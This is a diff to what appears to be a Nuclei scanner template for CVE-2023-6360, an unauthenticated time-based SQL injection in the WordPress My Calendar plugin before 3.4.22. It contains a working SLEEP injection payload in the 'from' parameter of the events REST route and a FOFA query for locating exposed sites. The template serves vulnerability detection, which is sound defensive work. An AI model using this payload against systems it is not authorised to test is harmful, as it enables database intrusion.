added flow

http/cves/2023/CVE-2023-6360.yaml

@@ -2,7 +2,7 @@ id: CVE-2023-6360
 
 info:
   name: WordPress My Calendar <3.4.22 - Unauthenticated SQL Injection
-  author: community
+  author: xxcdd
   severity: high
   description: |
     WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
@@ -21,16 +21,30 @@ info:
     cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
   metadata:
     fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
-  tags: sql-injection,wordpress,wp-plugin,cve,cve2023,calendar
+    verified: true
+  tags: cve,cve2023,sqli,wordpress,wpscan,wp-plugin,my-calendar
+
+flow: http(1) && http(2)
 
 http:
   - method: GET
     path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"
+
+    matchers:
+      - type: word
+        internal: true
+        words:
+          - 'My Calendar'
+
+  - method: GET
+    path:
       - "{{BaseURL}}/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a"
+
     matchers:
       - type: dsl
         dsl:
-          - 'contains(body_1, "wp-content/plugins/my-calendar")'
+          - 'contains(header, "application/json")'
-          - 'duration_2 >= 6'
+          - 'contains(body, "[]")'
+          - 'duration >= 6'
         condition: and